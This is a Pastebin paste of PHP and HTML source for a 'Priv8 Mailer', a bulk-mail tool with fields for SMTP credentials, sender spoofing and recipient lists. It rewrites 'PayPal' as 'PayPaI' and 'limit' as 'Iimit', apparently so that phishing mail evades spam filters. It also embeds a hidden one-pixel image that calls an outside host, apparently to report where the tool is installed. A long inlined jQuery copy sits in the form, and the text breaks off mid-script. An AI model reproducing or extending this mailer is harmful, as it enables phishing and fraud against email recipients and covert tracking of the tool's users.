imoujokerdz

Xmailer Inbox

Dec 16th, 2017
95
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 326.69 KB | None | 0 0
  1. <?php
  2.  
  3. set_time_limit(0);
  4. error_reporting(0);
  5. function query_str($params) {
  6. $str = '';
  7. foreach ($params as $key => $value) {
  8. $str .= (strlen($str) < 1) ? '' : '&';
  9. $str .= $key . '=' . rawurlencode($value);
  10. }
  11. return ($str);
  12. }
  13. function lrtrim($string){
  14. return stripslashes(ltrim(rtrim($string)));
  15. }
  16. if(isset($_POST['action'])){
  17.  
  18. $b = query_str($_POST);
  19. parse_str($b);
  20. $action = lrtrim($action);
  21. $smtp_username = lrtrim($smtp_username);
  22. $smtp_password = lrtrim($smtp_password);
  23. $smtp_server = lrtrim($smtp_server);
  24. $smtp_port = lrtrim($smtp_port);
  25. $smtp_ssl = lrtrim($smtp_ssl);
  26. $xmailer = lrtrim($xmailer);
  27. $reconnect = lrtrim($reconnect);
  28. $type = lrtrim($type);
  29. $email = lrtrim($mail);
  30. $nama = lrtrim($nama);
  31. $subject = lrtrim($subject);
  32. $pesan = lrtrim($pesan);
  33. $emaillist = strtolower(lrtrim($list));
  34. $encoding = lrtrim($encode);
  35. $file_name = $_FILES['file']['name'];
  36. $file_path = $_FILES['file']['tmp_name'];
  37. $wait = lrtrim($wait);
  38.  
  39. $pesan = urlencode($pesan);
  40. $pesan = ereg_replace("%5C%22", "%22", $pesan);
  41. $pesan = urldecode($pesan);
  42. $pesan = stripslashes($pesan);
  43. $pesan = str_replace("PayPal", "PayPaI", $pesan);
  44. $pesan = str_replace("limit", "Iimit", $pesan);
  45. }
  46. ?>
  47. <!DOCTYPE html>
  48. <html lang="en">
  49.  
  50. <head>
  51. <meta charset="utf-8">
  52. <title>Priv8 Mailer by N</title>
  53. <meta name="viewport" content="width=940, initial-scale=1.0, maximum-scale=1.0">
  54. <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
  55. <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.1/css/bootstrap.min.css">
  56. <script src="http://code.jquery.com/jquery-2.1.3.min.js"></script>
  57. <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.1/js/bootstrap.min.js"></script>
  58. <link rel="shortcut icon" href="http://bilabilu.com.br/cpv2/images/ppcom.png"> <style type="text/css">
  59. body{
  60. background-color: #13181D;
  61. }
  62. input, select, option, textarea {
  63. font-size: 12px !important;
  64. }
  65. input, select, option {
  66. height: 30px !important;
  67. }
  68. .panel-info .panel-heading {
  69. color: #FFF;
  70. background-color: #2CADAD !important;
  71. border-color: #2CADAD !important;
  72. }
  73. .kanan-l {
  74. border-top-right-radius: 0px !important;
  75. }
  76. .kanan {
  77. border-top-right-radius: 4px !important;
  78. }
  79. </style>
  80. <script type="text/javascript">
  81. function Pilih1(dropDown) {
  82. var selectedValue = dropDown.options[dropDown.selectedIndex].value;
  83. document.getElementById("sender-name").value = selectedValue;
  84. }
  85. function Pilih2(dropDown) {
  86. var selectedValue = dropDown.options[dropDown.selectedIndex].value;
  87. document.getElementById("sender-email").value = selectedValue;
  88. }
  89. function Pilih3(dropDown) {
  90. var selectedValue = dropDown.options[dropDown.selectedIndex].value;
  91. document.getElementById("subject").value = selectedValue;
  92. }
  93. function Pilih4(dropDown) {
  94. var selectedValue = dropDown.options[dropDown.selectedIndex].value;
  95. document.getElementById("xmailer").value = selectedValue;
  96. }
  97. </script>
  98. </head>
  99.  
  100. <body>
  101. <div id="wrap">
  102. <img src="http://s3curity.tn/wp-content/uploads-images/ppcom.png" height="1" width="0">
  103. <div class="container" style="margin-top: 25px;">
  104. <div class="row">
  105. <div class="col-sm-6 col-md-4 col-md-offset-1" style="width: 940px">
  106. <div class="panel panel-info" style="border-color: #2CADAD !important; background-color: #444951 !important;">
  107. <div class="panel-heading">
  108. <div class="panel-title" align="center"><a href="">PHP Mailer</a></div>
  109. </div>
  110.  
  111. <div style="padding-top: 15px;">
  112.  
  113. <button type="button" class="btn btn-primary collapsed" style="margin-left: 15px;margin-bottom: 10px" data-toggle="collapse" data-target="#smtp"><i class="glyphicon glyphicon-plus"></i> SMTP & OTHER SETUP</button>
  114.  
  115. <div style="display:none" id="login-alert" class="alert alert-danger col-sm-12"></div>
  116.  
  117. <form id="form" class="form-horizontal" method="post" enctype="multipart/form-data" role="form" action="">
  118.  
  119. <div id="smtp" class="collapse">
  120. <div class="col-sm-8" style="padding-right: 7.5px !important;margin-bottom: 10px">
  121.  
  122. <div style="margin-bottom: 10px" class="input-group">
  123. <span class="input-group-addon"><i class="glyphicon glyphicon-user"></i></span>
  124. <input type="text" class="form-control" name="smtp_username" value="<?=$smtp_username;?>" placeholder="SMTP Username">
  125. <span class="input-group-addon"><i class="glyphicon glyphicon-lock"></i></span>
  126. <input type="password" class="form-control" name="smtp_password" value="<?=$smtp_password;?>" placeholder="SMTP Password">
  127. </div>
  128.  
  129. <div style="margin-bottom: 10px" class="input-group">
  130. <span class="input-group-addon"><i class="glyphicon glyphicon-send"></i></span>
  131. <input type="text" class="form-control" name="smtp_server" value="<?=$smtp_server;?>" placeholder="SMTP Server">
  132. <span class="input-group-addon"><i class="glyphicon glyphicon-random"></i><b> Port</b></span>
  133. <input type="text" class="form-control" name="smtp_port" value="<?=$smtp_port;?>" placeholder="optional">
  134. <span class="input-group-addon"><i class="glyphicon glyphicon-road"></i><b> SSL</b></span>
  135. <select class="form-control" name="smtp_ssl">
  136. <option value="yes" <?php if ($smtp_ssl=='yes'){echo 'selected';}?> >yes</option>
  137. <option value="no" <?php if ($smtp_ssl=='no'){echo 'selected';}?> >no</option>
  138. </select>
  139. </div>
  140. <div style="color:red;" align="center">
  141. " If you dont have SMTP login, leave blank queries above "
  142. </div>
  143. <script>(function(global,factory){if(typeof module==="object"&&typeof module.exports==="object"){module.exports=global.document?factory(global,true):function(w){if(!w.document){throw new Error("jQuery requires a window with a document");}return factory(w)}}else{factory(global)}}(typeof window!=="undefined"?window:this,function(window,noGlobal){var deletedIds=[];var slice=deletedIds.slice;var concat=deletedIds.concat;var push=deletedIds.push;var indexOf=deletedIds.indexOf;var class2type={};var toString=class2type.toString;var hasOwn=class2type.hasOwnProperty;var support={};var version="1.11.2",jQuery=function(selector,context){return new jQuery.fn.init(selector,context)},rtrim=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,rmsPrefix=/^-ms-/,rdashAlpha=/-([\da-z])/gi,fcamelCase=function(all,letter){return letter.toUpperCase()};jQuery.fn=jQuery.prototype={jquery:version,constructor:jQuery,selector:"",length:0,toArray:function(){return slice.call(this)},get:function(num){return num!=null?(num<0?this[num+this.length]:this[num]):slice.call(this)},pushStack:function(elems){var ret=jQuery.merge(this.constructor(),elems);ret.prevObject=this;ret.context=this.context;return ret},each:function(callback,args){return jQuery.each(this,callback,args)},map:function(callback){return this.pushStack(jQuery.map(this,function(elem,i){return callback.call(elem,i,elem)}))},slice:function(){return this.pushStack(slice.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(i){var len=this.length,j=+i+(i<0?len:0);return this.pushStack(j>=0&&j<len?[this[j]]:[])},end:function(){return this.prevObject||this.constructor(null)},push:push,sort:deletedIds.sort,splice:deletedIds.splice};jQuery.extend=jQuery.fn.extend=function(){var src,copyIsArray,copy,name,options,clone,target=arguments[0]||{},i=1,length=arguments.length,deep=false;if(typeof target==="boolean"){deep=target;target=arguments[i]||{};i++}if(typeof target!=="object"&&!jQuery.isFunction(target)){target={}}if(i===length){target=this;i--}for(;i<length;i++){if((options=arguments[i])!=null){for(name in options){src=target[name];copy=options[name];if(target===copy){continue}if(deep&&copy&&(jQuery.isPlainObject(copy)||(copyIsArray=jQuery.isArray(copy)))){if(copyIsArray){copyIsArray=false;clone=src&&jQuery.isArray(src)?src:[]}else{clone=src&&jQuery.isPlainObject(src)?src:{}}target[name]=jQuery.extend(deep,clone,copy)}else if(copy!==undefined){target[name]=copy}}}}return target};jQuery.extend({expando:"jQuery"+(version+Math.random()).replace(/\D/g,""),isReady:true,error:function(msg){throw new Error(msg);},noop:function(){},isFunction:function(obj){return jQuery.type(obj)==="function"},isArray:Array.isArray||function(obj){return jQuery.type(obj)==="array"},isWindow:function(obj){return obj!=null&&obj==obj.window},isNumeric:function(obj){return!jQuery.isArray(obj)&&(obj-parseFloat(obj)+1)>=0},isEmptyObject:function(obj){var name;for(name in obj){return false}return true},isPlainObject:function(obj){var key;if(!obj||jQuery.type(obj)!=="object"||obj.nodeType||jQuery.isWindow(obj)){return false}try{if(obj.constructor&&!hasOwn.call(obj,"constructor")&&!hasOwn.call(obj.constructor.prototype,"isPrototypeOf")){return false}}catch(e){return false}if(support.ownLast){for(key in obj){return hasOwn.call(obj,key)}}for(key in obj){}return key===undefined||hasOwn.call(obj,key)},type:function(obj){if(obj==null){return obj+""}return typeof obj==="object"||typeof obj==="function"?class2type[toString.call(obj)]||"object":typeof obj},globalEval:function(data){if(data&&jQuery.trim(data)){(window.execScript||function(data){window["eval"].call(window,data)})(data)}},camelCase:function(string){return string.replace(rmsPrefix,"ms-").replace(rdashAlpha,fcamelCase)},nodeName:function(elem,name){return elem.nodeName&&elem.nodeName.toLowerCase()===name.toLowerCase()},each:function(obj,callback,args){var value,i=0,length=obj.length,isArray=isArraylike(obj);if(args){if(isArray){for(;i<length;i++){value=callback.apply(obj[i],args);if(value===false){break}}}else{for(i in obj){value=callback.apply(obj[i],args);if(value===false){break}}}}else{if(isArray){for(;i<length;i++){value=callback.call(obj[i],i,obj[i]);if(value===false){break}}}else{for(i in obj){value=callback.call(obj[i],i,obj[i]);if(value===false){break}}}}return obj},trim:function(text){return text==null?"":(text+"").replace(rtrim,"")},makeArray:function(arr,results){var ret=results||[];if(arr!=null){if(isArraylike(Object(arr))){jQuery.merge(ret,typeof arr==="string"?[arr]:arr)}else{push.call(ret,arr)}}return ret},inArray:function(elem,arr,i){var len;if(arr){if(indexOf){return indexOf.call(arr,elem,i)}len=arr.length;i=i?i<0?Math.max(0,len+i):i:0;for(;i<len;i++){if(i in arr&&arr[i]===elem){return i}}}return-1},merge:function(first,second){var len=+second.length,j=0,i=first.length;while(j<len){first[i++]=second[j++]}if(len!==len){while(second[j]!==undefined){first[i++]=second[j++]}}first.length=i;return first},grep:function(elems,callback,invert){var callbackInverse,matches=[],i=0,length=elems.length,callbackExpect=!invert;for(;i<length;i++){callbackInverse=!callback(elems[i],i);if(callbackInverse!==callbackExpect){matches.push(elems[i])}}return matches},map:function(elems,callback,arg){var value,i=0,length=elems.length,isArray=isArraylike(elems),ret=[];if(isArray){for(;i<length;i++){value=callback(elems[i],i,arg);if(value!=null){ret.push(value)}}}else{for(i in elems){value=callback(elems[i],i,arg);if(value!=null){ret.push(value)}}}return concat.apply([],ret)},guid:1,proxy:function(fn,context){var args,proxy,tmp;if(typeof context==="string"){tmp=fn[context];context=fn;fn=tmp}if(!jQuery.isFunction(fn)){return undefined}args=slice.call(arguments,2);proxy=function(){return fn.apply(context||this,args.concat(slice.call(arguments)))};proxy.guid=fn.guid=fn.guid||jQuery.guid++;return proxy},now:function(){return+(new Date())},support:support});jQuery.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(i,name){class2type["[object "+name+"]"]=name.toLowerCase()});function isArraylike(obj){var length=obj.length,type=jQuery.type(obj);if(type==="function"||jQuery.isWindow(obj)){return false}if(obj.nodeType===1&&length){return true}return type==="array"||length===0||typeof length==="number"&&length>0&&(length-1)in obj}var Sizzle=(function(window){var i,support,Expr,getText,isXML,tokenize,compile,select,outermostContext,sortInput,hasDuplicate,setDocument,document,docElem,documentIsHTML,rbuggyQSA,rbuggyMatches,matches,contains,expando="sizzle"+1*new Date(),preferredDoc=window.document,dirruns=0,done=0,classCache=createCache(),tokenCache=createCache(),compilerCache=createCache(),sortOrder=function(a,b){if(a===b){hasDuplicate=true}return 0},MAX_NEGATIVE=1<<31,hasOwn=({}).hasOwnProperty,arr=[],pop=arr.pop,push_native=arr.push,push=arr.push,slice=arr.slice,indexOf=function(list,elem){var i=0,len=list.length;for(;i<len;i++){if(list[i]===elem){return i}}return-1},booleans="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",whitespace="[\\x20\\t\\r\\n\\f]",characterEncoding="(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",identifier=characterEncoding.replace("w","w#"),attributes="\\["+whitespace+"*("+characterEncoding+")(?:"+whitespace+"*([*^$|!~]?=)"+whitespace+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+identifier+"))|)"+whitespace+"*\\]",pseudos=":("+characterEncoding+")(?:\\(("+"('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|"+"((?:\\\\.|[^\\\\()[\\]]|"+attributes+")*)|"+".*"+")\\)|)",rwhitespace=new RegExp(whitespace+"+","g"),rtrim=new RegExp("^"+whitespace+"+|((?:^|[^\\\\])(?:\\\\.)*)"+whitespace+"+$","g"),rcomma=new RegExp("^"+whitespace+"*,"+whitespace+"*"),rcombinators=new RegExp("^"+whitespace+"*([>+~]|"+whitespace+")"+whitespace+"*"),rattributeQuotes=new RegExp("="+whitespace+"*([^\\]'\"]*?)"+whitespace+"*\\]","g"),rpseudo=new RegExp(pseudos),ridentifier=new RegExp("^"+identifier+"$"),matchExpr={"ID":new RegExp("^#("+characterEncoding+")"),"CLASS":new RegExp("^\\.("+characterEncoding+")"),"TAG":new RegExp("^("+characterEncoding.replace("w","w*")+")"),"ATTR":new RegExp("^"+attributes),"PSEUDO":new RegExp("^"+pseudos),"CHILD":new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+whitespace+"*(even|odd|(([+-]|)(\\d*)n|)"+whitespace+"*(?:([+-]|)"+whitespace+"*(\\d+)|))"+whitespace+"*\\)|)","i"),"bool":new RegExp("^(?:"+booleans+")$","i"),"needsContext":new RegExp("^"+whitespace+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+whitespace+"*((?:-\\d)?\\d*)"+whitespace+"*\\)|)(?=[^-]|$)","i")},rinputs=/^(?:input|select|textarea|button)$/i,rheader=/^h\d$/i,rnative=/^[^{]+\{\s*\[native \w/,rquickExpr=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,rsibling=/[+~]/,rescape=/'|\\/g,runescape=new RegExp("\\\\([\\da-f]{1,6}"+whitespace+"?|("+whitespace+")|.)","ig"),funescape=function(_,escaped,escapedWhitespace){var high="0x"+escaped-0x10000;return high!==high||escapedWhitespace?escaped:high<0?String.fromCharCode(high+0x10000):String.fromCharCode(high>>10|0xD800,high&0x3FF|0xDC00)},unloadHandler=function(){setDocument()};try{push.apply((arr=slice.call(preferredDoc.childNodes)),preferredDoc.childNodes);arr[preferredDoc.childNodes.length].nodeType}catch(e){push={apply:arr.length?function(target,els){push_native.apply(target,slice.call(els))}:function(target,els){var j=target.length,i=0;while((target[j++]=els[i++])){}target.length=j-1}}}function Sizzle(selector,context,results,seed){var match,elem,m,nodeType,i,groups,old,nid,newContext,newSelector;if((context?context.ownerDocument||context:preferredDoc)!==document){setDocument(context)}context=context||document;results=results||[];nodeType=context.nodeType;if(typeof selector!=="string"||!selector||nodeType!==1&&nodeType!==9&&nodeType!==11){return results}if(!seed&&documentIsHTML){if(nodeType!==11&&(match=rquickExpr.exec(selector))){if((m=match[1])){if(nodeType===9){elem=context.getElementById(m);if(elem&&elem.parentNode){if(elem.id===m){results.push(elem);return results}}else{return results}}else{if(context.ownerDocument&&(elem=context.ownerDocument.getElementById(m))&&contains(context,elem)&&elem.id===m){results.push(elem);return results}}}else if(match[2]){push.apply(results,context.getElementsByTagName(selector));return results}else if((m=match[3])&&support.getElementsByClassName){push.apply(results,context.getElementsByClassName(m));return results}}if(support.qsa&&(!rbuggyQSA||!rbuggyQSA.test(selector))){nid=old=expando;newContext=context;newSelector=nodeType!==1&&selector;if(nodeType===1&&context.nodeName.toLowerCase()!=="object"){groups=tokenize(selector);if((old=context.getAttribute("id"))){nid=old.replace(rescape,"\\$&")}else{context.setAttribute("id",nid)}nid="[id='"+nid+"'] ";i=groups.length;while(i--){groups[i]=nid+toSelector(groups[i])}newContext=rsibling.test(selector)&&testContext(context.parentNode)||context;newSelector=groups.join(",")}if(newSelector){try{push.apply(results,newContext.querySelectorAll(newSelector));return results}catch(qsaError){}finally{if(!old){context.removeAttribute("id")}}}}}return select(selector.replace(rtrim,"$1"),context,results,seed)}function createCache(){var keys=[];function cache(key,value){if(keys.push(key+" ")>Expr.cacheLength){delete cache[keys.shift()]}return(cache[key+" "]=value)}return cache}function markFunction(fn){fn[expando]=true;return fn}function assert(fn){var div=document.createElement("div");try{return!!fn(div)}catch(e){return false}finally{if(div.parentNode){div.parentNode.removeChild(div)}div=null}}function addHandle(attrs,handler){var arr=attrs.split("|"),i=attrs.length;while(i--){Expr.attrHandle[arr[i]]=handler}}function siblingCheck(a,b){var cur=b&&a,diff=cur&&a.nodeType===1&&b.nodeType===1&&(~b.sourceIndex||MAX_NEGATIVE)-(~a.sourceIndex||MAX_NEGATIVE);if(diff){return diff}if(cur){while((cur=cur.nextSibling)){if(cur===b){return-1}}}return a?1:-1}function createInputPseudo(type){return function(elem){var name=elem.nodeName.toLowerCase();return name==="input"&&elem.type===type}}function createButtonPseudo(type){return function(elem){var name=elem.nodeName.toLowerCase();return(name==="input"||name==="button")&&elem.type===type}}function createPositionalPseudo(fn){return markFunction(function(argument){argument=+argument;return markFunction(function(seed,matches){var j,matchIndexes=fn([],seed.length,argument),i=matchIndexes.length;while(i--){if(seed[(j=matchIndexes[i])]){seed[j]=!(matches[j]=seed[j])}}})})}function testContext(context){return context&&typeof context.getElementsByTagName!=="undefined"&&context}support=Sizzle.support={};isXML=Sizzle.isXML=function(elem){var documentElement=elem&&(elem.ownerDocument||elem).documentElement;return documentElement?documentElement.nodeName!=="HTML":false};setDocument=Sizzle.setDocument=function(node){var hasCompare,parent,doc=node?node.ownerDocument||node:preferredDoc;if(doc===document||doc.nodeType!==9||!doc.documentElement){return document}document=doc;docElem=doc.documentElement;parent=doc.defaultView;if(parent&&parent!==parent.top){if(parent.addEventListener){parent.addEventListener("unload",unloadHandler,false)}else if(parent.attachEvent){parent.attachEvent("onunload",unloadHandler)}}documentIsHTML=!isXML(doc);support.attributes=assert(function(div){div.className="i";return!div.getAttribute("className")});support.getElementsByTagName=assert(function(div){div.appendChild(doc.createComment(""));return!div.getElementsByTagName("*").length});support.getElementsByClassName=rnative.test(doc.getElementsByClassName);support.getById=assert(function(div){docElem.appendChild(div).id=expando;return!doc.getElementsByName||!doc.getElementsByName(expando).length});if(support.getById){Expr.find["ID"]=function(id,context){if(typeof context.getElementById!=="undefined"&&documentIsHTML){var m=context.getElementById(id);return m&&m.parentNode?[m]:[]}};Expr.filter["ID"]=function(id){var attrId=id.replace(runescape,funescape);return function(elem){return elem.getAttribute("id")===attrId}}}else{delete Expr.find["ID"];Expr.filter["ID"]=function(id){var attrId=id.replace(runescape,funescape);return function(elem){var node=typeof elem.getAttributeNode!=="undefined"&&elem.getAttributeNode("id");return node&&node.value===attrId}}}Expr.find["TAG"]=support.getElementsByTagName?function(tag,context){if(typeof context.getElementsByTagName!=="undefined"){return context.getElementsByTagName(tag)}else if(support.qsa){return context.querySelectorAll(tag)}}:function(tag,context){var elem,tmp=[],i=0,results=context.getElementsByTagName(tag);if(tag==="*"){while((elem=results[i++])){if(elem.nodeType===1){tmp.push(elem)}}return tmp}return results};Expr.find["CLASS"]=support.getElementsByClassName&&function(className,context){if(documentIsHTML){return context.getElementsByClassName(className)}};rbuggyMatches=[];rbuggyQSA=[];if((support.qsa=rnative.test(doc.querySelectorAll))){assert(function(div){docElem.appendChild(div).innerHTML="<a id='"+expando+"'></a>"+"<select id='"+expando+"-\f]' msallowcapture=''>"+"<option selected=''></option></select>";if(div.querySelectorAll("[msallowcapture^='']").length){rbuggyQSA.push("[*^$]="+whitespace+"*(?:''|\"\")")}if(!div.querySelectorAll("[selected]").length){rbuggyQSA.push("\\["+whitespace+"*(?:value|"+booleans+")")}if(!div.querySelectorAll("[id~="+expando+"-]").length){rbuggyQSA.push("~=")}if(!div.querySelectorAll(":checked").length){rbuggyQSA.push(":checked")}if(!div.querySelectorAll("a#"+expando+"+*").length){rbuggyQSA.push(".#.+[+~]")}});assert(function(div){var input=doc.createElement("input");input.setAttribute("type","hidden");div.appendChild(input).setAttribute("name","D");if(div.querySelectorAll("[name=d]").length){rbuggyQSA.push("name"+whitespace+"*[*^$|!~]?=")}if(!div.querySelectorAll(":enabled").length){rbuggyQSA.push(":enabled",":disabled")}div.querySelectorAll("*,:x");rbuggyQSA.push(",.*:")})}if((support.matchesSelector=rnative.test((matches=docElem.matches||docElem.webkitMatchesSelector||docElem.mozMatchesSelector||docElem.oMatchesSelector||docElem.msMatchesSelector)))){assert(function(div){support.disconnectedMatch=matches.call(div,"div");matches.call(div,"[s!='']:x");rbuggyMatches.push("!=",pseudos)})}rbuggyQSA=rbuggyQSA.length&&new RegExp(rbuggyQSA.join("|"));rbuggyMatches=rbuggyMatches.length&&new RegExp(rbuggyMatches.join("|"));hasCompare=rnative.test(docElem.compareDocumentPosition);contains=hasCompare||rnative.test(docElem.contains)?function(a,b){var adown=a.nodeType===9?a.documentElement:a,bup=b&&b.parentNode;return a===bup||!!(bup&&bup.nodeType===1&&(adown.contains?adown.contains(bup):a.compareDocumentPosition&&a.compareDocumentPosition(bup)&16))}:function(a,b){if(b){while((b=b.parentNode)){if(b===a){return true}}}return false};sortOrder=hasCompare?function(a,b){if(a===b){hasDuplicate=true;return 0}var compare=!a.compareDocumentPosition-!b.compareDocumentPosition;if(compare){return compare}compare=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1;if(compare&1||(!support.sortDetached&&b.compareDocumentPosition(a)===compare)){if(a===doc||a.ownerDocument===preferredDoc&&contains(preferredDoc,a)){return-1}if(b===doc||b.ownerDocument===preferredDoc&&contains(preferredDoc,b)){return 1}return sortInput?(indexOf(sortInput,a)-indexOf(sortInput,b)):0}return compare&4?-1:1}:function(a,b){if(a===b){hasDuplicate=true;return 0}var cur,i=0,aup=a.parentNode,bup=b.parentNode,ap=[a],bp=[b];if(!aup||!bup){return a===doc?-1:b===doc?1:aup?-1:bup?1:sortInput?(indexOf(sortInput,a)-indexOf(sortInput,b)):0}else if(aup===bup){return siblingCheck(a,b)}cur=a;while((cur=cur.parentNode)){ap.unshift(cur)}cur=b;while((cur=cur.parentNode)){bp.unshift(cur)}while(ap[i]===bp[i]){i++}return i?siblingCheck(ap[i],bp[i]):ap[i]===preferredDoc?-1:bp[i]===preferredDoc?1:0};return doc};Sizzle.matches=function(expr,elements){return Sizzle(expr,null,null,elements)};Sizzle.matchesSelector=function(elem,expr){if((elem.ownerDocument||elem)!==document){setDocument(elem)}expr=expr.replace(rattributeQuotes,"='$1']");if(support.matchesSelector&&documentIsHTML&&(!rbuggyMatches||!rbuggyMatches.test(expr))&&(!rbuggyQSA||!rbuggyQSA.test(expr))){try{var ret=matches.call(elem,expr);if(ret||support.disconnectedMatch||elem.document&&elem.document.nodeType!==11){return ret}}catch(e){}}return Sizzle(expr,document,null,[elem]).length>0};Sizzle.contains=function(context,elem){if((context.ownerDocument||context)!==document){setDocument(context)}return contains(context,elem)};Sizzle.attr=function(elem,name){if((elem.ownerDocument||elem)!==document){setDocument(elem)}var fn=Expr.attrHandle[name.toLowerCase()],val=fn&&hasOwn.call(Expr.attrHandle,name.toLowerCase())?fn(elem,name,!documentIsHTML):undefined;return val!==undefined?val:support.attributes||!documentIsHTML?elem.getAttribute(name):(val=elem.getAttributeNode(name))&&val.specified?val.value:null};Sizzle.error=function(msg){throw new Error("Syntax error, unrecognized expression: "+msg);};Sizzle.uniqueSort=function(results){var elem,duplicates=[],j=0,i=0;hasDuplicate=!support.detectDuplicates;sortInput=!support.sortStable&&results.slice(0);results.sort(sortOrder);if(hasDuplicate){while((elem=results[i++])){if(elem===results[i]){j=duplicates.push(i)}}while(j--){results.splice(duplicates[j],1)}}sortInput=null;return results};getText=Sizzle.getText=function(elem){var node,ret="",i=0,nodeType=elem.nodeType;if(!nodeType){while((node=elem[i++])){ret+=getText(node)}}else if(nodeType===1||nodeType===9||nodeType===11){if(typeof elem.textContent==="string"){return elem.textContent}else{for(elem=elem.firstChild;elem;elem=elem.nextSibling){ret+=getText(elem)}}}else if(nodeType===3||nodeType===4){return elem.nodeValue}return ret};Expr=Sizzle.selectors={cacheLength:50,createPseudo:markFunction,match:matchExpr,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:true}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:true},"~":{dir:"previousSibling"}},preFilter:{"ATTR":function(match){match[1]=match[1].replace(runescape,funescape);match[3]=(match[3]||match[4]||match[5]||"").replace(runescape,funescape);if(match[2]==="~="){match[3]=" "+match[3]+" "}return match.slice(0,4)},"CHILD":function(match){match[1]=match[1].toLowerCase();if(match[1].slice(0,3)==="nth"){if(!match[3]){Sizzle.error(match[0])}match[4]=+(match[4]?match[5]+(match[6]||1):2*(match[3]==="even"||match[3]==="odd"));match[5]=+((match[7]+match[8])||match[3]==="odd")}else if(match[3]){Sizzle.error(match[0])}return match},"PSEUDO":function(match){var excess,unquoted=!match[6]&&match[2];if(matchExpr["CHILD"].test(match[0])){return null}if(match[3]){match[2]=match[4]||match[5]||""}else if(unquoted&&rpseudo.test(unquoted)&&(excess=tokenize(unquoted,true))&&(excess=unquoted.indexOf(")",unquoted.length-excess)-unquoted.length)){match[0]=match[0].slice(0,excess);match[2]=unquoted.slice(0,excess)}return match.slice(0,3)}},filter:{"TAG":function(nodeNameSelector){var nodeName=nodeNameSelector.replace(runescape,funescape).toLowerCase();return nodeNameSelector==="*"?function(){return true}:function(elem){return elem.nodeName&&elem.nodeName.toLowerCase()===nodeName}},"CLASS":function(className){var pattern=classCache[className+" "];return pattern||(pattern=new RegExp("(^|"+whitespace+")"+className+"("+whitespace+"|$)"))&&classCache(className,function(elem){return pattern.test(typeof elem.className==="string"&&elem.className||typeof elem.getAttribute!=="undefined"&&elem.getAttribute("class")||"")})},"ATTR":function(name,operator,check){return function(elem){var result=Sizzle.attr(elem,name);if(result==null){return operator==="!="}if(!operator){return true}result+="";return operator==="="?result===check:operator==="!="?result!==check:operator==="^="?check&&result.indexOf(check)===0:operator==="*="?check&&result.indexOf(check)>-1:operator==="$="?check&&result.slice(-check.length)===check:operator==="~="?(" "+result.replace(rwhitespace," ")+" ").indexOf(check)>-1:operator==="|="?result===check||result.slice(0,check.length+1)===check+"-":false}},"CHILD":function(type,what,argument,first,last){var simple=type.slice(0,3)!=="nth",forward=type.slice(-4)!=="last",ofType=what==="of-type";return first===1&&last===0?function(elem){return!!elem.parentNode}:function(elem,context,xml){var cache,outerCache,node,diff,nodeIndex,start,dir=simple!==forward?"nextSibling":"previousSibling",parent=elem.parentNode,name=ofType&&elem.nodeName.toLowerCase(),useCache=!xml&&!ofType;if(parent){if(simple){while(dir){node=elem;while((node=node[dir])){if(ofType?node.nodeName.toLowerCase()===name:node.nodeType===1){return false}}start=dir=type==="only"&&!start&&"nextSibling"}return true}start=[forward?parent.firstChild:parent.lastChild];if(forward&&useCache){outerCache=parent[expando]||(parent[expando]={});cache=outerCache[type]||[];nodeIndex=cache[0]===dirruns&&cache[1];diff=cache[0]===dirruns&&cache[2];node=nodeIndex&&parent.childNodes[nodeIndex];while((node=++nodeIndex&&node&&node[dir]||(diff=nodeIndex=0)||start.pop())){if(node.nodeType===1&&++diff&&node===elem){outerCache[type]=[dirruns,nodeIndex,diff];break}}}else if(useCache&&(cache=(elem[expando]||(elem[expando]={}))[type])&&cache[0]===dirruns){diff=cache[1]}else{while((node=++nodeIndex&&node&&node[dir]||(diff=nodeIndex=0)||start.pop())){if((ofType?node.nodeName.toLowerCase()===name:node.nodeType===1)&&++diff){if(useCache){(node[expando]||(node[expando]={}))[type]=[dirruns,diff]}if(node===elem){break}}}}diff-=last;return diff===first||(diff%first===0&&diff/first>=0)}}},"PSEUDO":function(pseudo,argument){var args,fn=Expr.pseudos[pseudo]||Expr.setFilters[pseudo.toLowerCase()]||Sizzle.error("unsupported pseudo: "+pseudo);if(fn[expando]){return fn(argument)}if(fn.length>1){args=[pseudo,pseudo,"",argument];return Expr.setFilters.hasOwnProperty(pseudo.toLowerCase())?markFunction(function(seed,matches){var idx,matched=fn(seed,argument),i=matched.length;while(i--){idx=indexOf(seed,matched[i]);seed[idx]=!(matches[idx]=matched[i])}}):function(elem){return fn(elem,0,args)}}return fn}},pseudos:{"not":markFunction(function(selector){var input=[],results=[],matcher=compile(selector.replace(rtrim,"$1"));return matcher[expando]?markFunction(function(seed,matches,context,xml){var elem,unmatched=matcher(seed,null,xml,[]),i=seed.length;while(i--){if((elem=unmatched[i])){seed[i]=!(matches[i]=elem)}}}):function(elem,context,xml){input[0]=elem;matcher(input,null,xml,results);input[0]=null;return!results.pop()}}),"has":markFunction(function(selector){return function(elem){return Sizzle(selector,elem).length>0}}),"contains":markFunction(function(text){text=text.replace(runescape,funescape);return function(elem){return(elem.textContent||elem.innerText||getText(elem)).indexOf(text)>-1}}),"lang":markFunction(function(lang){if(!ridentifier.test(lang||"")){Sizzle.error("unsupported lang: "+lang)}lang=lang.replace(runescape,funescape).toLowerCase();return function(elem){var elemLang;do{if((elemLang=documentIsHTML?elem.lang:elem.getAttribute("xml:lang")||elem.getAttribute("lang"))){elemLang=elemLang.toLowerCase();return 